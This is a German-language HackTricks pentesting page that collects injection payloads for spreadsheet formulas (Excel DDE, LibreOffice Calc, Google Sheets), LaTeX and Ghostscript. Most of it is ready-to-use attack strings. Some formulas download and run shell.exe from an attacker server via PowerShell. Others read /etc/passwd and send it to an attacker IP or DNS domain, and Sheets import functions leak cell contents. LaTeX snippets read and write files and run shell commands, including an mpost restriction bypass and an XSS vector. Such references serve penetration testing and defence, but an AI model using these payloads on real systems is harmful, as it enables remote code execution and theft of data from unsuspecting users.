hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

13 KiB

Formel/CSV/Doc/LaTeX/GhostScript Injection

Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Formel-Injection

Info

Wenn Ihr Eingabe in CSV-Dateien (oder einer anderen Datei, die wahrscheinlich von Excel geöffnet wird) reflektiert wird, können Sie möglicherweise Excel-Formeln einfügen, die ausgeführt werden, wenn der Benutzer die Datei öffnet oder wenn der Benutzer auf einen Link in der Excel-Tabelle klickt.

{% hint style="danger" %} Heutzutage warnt Excel (mehrmals) den Benutzer, wenn etwas von außerhalb von Excel geladen wird, um ihn vor bösartigen Aktionen zu schützen. Daher muss besonderer Aufwand bei der Social Engineering auf das endgültige Payload angewendet werden. {% endhint %}

Wortliste

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Das folgende Beispiel ist sehr nützlich, um Inhalte aus der endgültigen Excel-Tabelle zu exfiltrieren und Anfragen an beliebige Standorte durchzuführen. Es erfordert jedoch, dass der Benutzer auf den Link klickt (und die Warnhinweise akzeptiert).

Das folgende Beispiel wurde von https://payatu.com/csv-injection-basic-to-exploit übernommen.

Stellen Sie sich vor, dass ein Sicherheitsvorfall in einem Studentenverwaltungssystem durch einen CSV-Injektionsangriff ausgenutzt wird. Die primäre Absicht des Angreifers besteht darin, das System zu kompromittieren, das von Lehrern zur Verwaltung von Schülerdetails verwendet wird. Die Methode beinhaltet, dass der Angreifer eine bösartige Nutzlast in die Anwendung einschleust, indem er schädliche Formeln in Felder eingibt, die für Schülerdetails vorgesehen sind. Der Angriff entfaltet sich wie folgt:

  1. Injektion der bösartigen Nutzlast:
  • Der Angreifer sendet ein Formular für Schülerdetails ein, enthält jedoch eine in Tabellenkalkulationen häufig verwendete Formel (z. B. =HYPERLINK("<bösartiger_link>","Hier klicken")).
  • Diese Formel ist darauf ausgelegt, einen Hyperlink zu erstellen, der jedoch auf einen vom Angreifer kontrollierten bösartigen Server zeigt.
  1. Exportieren kompromittierter Daten:
  • Lehrer, die sich der Kompromittierung nicht bewusst sind, verwenden die Funktionalität der Anwendung, um die Daten in eine CSV-Datei zu exportieren.
  • Die CSV-Datei enthält beim Öffnen immer noch die bösartige Nutzlast. Diese Nutzlast erscheint als klickbarer Hyperlink in der Tabelle.
  1. Auslösen des Angriffs:
  • Ein Lehrer klickt auf den Hyperlink und glaubt, dass es sich um einen legitimen Teil der Schülerdetails handelt.
  • Beim Klicken werden sensible Daten (potenziell einschließlich Details aus der Tabelle oder dem Computer des Lehrers) an den Server des Angreifers übertragen.
  1. Protokollierung der Daten:
  • Der Server des Angreifers empfängt und protokolliert die sensiblen Daten, die vom Computer des Lehrers gesendet wurden.
  • Der Angreifer kann diese Daten dann für verschiedene bösartige Zwecke verwenden und so die Privatsphäre und Sicherheit der Schüler und der Institution weiter kompromittieren.

RCE

Überprüfen Sie den Originalbeitrag für weitere Details.

In bestimmten Konfigurationen oder älteren Versionen von Excel kann eine Funktion namens Dynamischer Datenaustausch (DDE) ausgenutzt werden, um beliebige Befehle auszuführen. Um dies zu nutzen, müssen die folgenden Einstellungen aktiviert sein:

  • Navigieren Sie zu Datei → Optionen → Vertrauensstellungscenter → Einstellungen für das Vertrauensstellungscenter → Externe Inhalte und aktivieren Sie Dynamisches Datenaustausch-Serverstart.

Wenn eine Tabelle mit der bösartigen Nutzlast geöffnet wird (und wenn der Benutzer die Warnungen akzeptiert), wird die Nutzlast ausgeführt. Um beispielsweise die Taschenrechneranwendung zu starten, wäre die Nutzlast:

`=cmd|' /C calc'!xxx`

Zusätzliche Befehle können ebenfalls ausgeführt werden, wie z.B. das Herunterladen und Ausführen einer Datei mit PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Lokale Dateieinschleusung (LFI) in LibreOffice Calc

LibreOffice Calc kann verwendet werden, um lokale Dateien zu lesen und Daten zu exfiltrieren. Hier sind einige Methoden:

  • Lesen der ersten Zeile aus der lokalen /etc/passwd-Datei: ='file:///etc/passwd'#$passwd.A1
  • Exfiltration der gelesenen Daten an einen vom Angreifer kontrollierten Server: =WEBSERVICE(CONCATENATE("http://<Angreifer-IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Exfiltration von mehr als einer Zeile: =WEBSERVICE(CONCATENATE("http://<Angreifer-IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS-Exfiltration (Senden von gelesenen Daten als DNS-Anfragen an einen vom Angreifer kontrollierten DNS-Server): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<Angreifer-Domain>"))

Google Sheets für Out-of-Band (OOB) Datenexfiltration

Google Sheets bietet Funktionen, die für die OOB-Datenexfiltration ausgenutzt werden können:

  • CONCATENATE: Hängt Zeichenfolgen zusammen - =CONCATENATE(A2:E2)
  • IMPORTXML: Importiert Daten aus strukturierten Datentypen - =IMPORTXML(CONCAT("http://<Angreifer-IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Importiert RSS- oder ATOM-Feeds - =IMPORTFEED(CONCAT("http://<Angreifer-IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Importiert Daten aus HTML-Tabellen oder Listen - =IMPORTHTML (CONCAT("http://<Angreifer-IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Importiert einen Zellenbereich aus einem anderen Tabellenblatt - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Fügt ein Bild in eine Zelle ein - =IMAGE("https://<Angreifer-IP:Port>/images/srpr/logo3w.png")

LaTeX-Injektion

Normalerweise verwenden die Server, die im Internet zu finden sind und LaTeX-Code in PDF umwandeln, pdflatex.
Dieses Programm verwendet 3 Hauptattribute, um die Ausführung von Befehlen zu (de)aktivieren:

  • --no-shell-escape: Deaktiviert die \write18{Befehl}-Konstruktion, auch wenn sie in der texmf.cnf-Datei aktiviert ist.
  • --shell-restricted: Gleich wie --shell-escape, aber auf einen 'sicheren' Satz von vordefinierten **Befehlen beschränkt (**In Ubuntu 16.04 ist die Liste in /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Aktiviert die \write18{Befehl}-Konstruktion. Der Befehl kann jeder Shell-Befehl sein. Diese Konstruktion ist normalerweise aus Sicherheitsgründen deaktiviert.

Es gibt jedoch andere Möglichkeiten, Befehle auszuführen, daher ist es sehr wichtig, --shell-restricted zu verwenden, um RCE zu vermeiden.

Datei lesen

Möglicherweise müssen Sie die Injektion mit Wrappern wie [ oder $ anpassen.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Einzeilige Datei lesen

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Mehrzeilige Datei lesen

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Datei schreiben

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Befehlsausführung

Die Eingabe des Befehls wird auf stdin umgeleitet, verwenden Sie eine temporäre Datei, um sie zu erhalten.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Wenn Sie einen LaTex-Fehler erhalten, sollten Sie in Betracht ziehen, base64 zu verwenden, um das Ergebnis ohne ungültige Zeichen zu erhalten.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Von @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript-Injektion

Überprüfen https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Referenzen

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: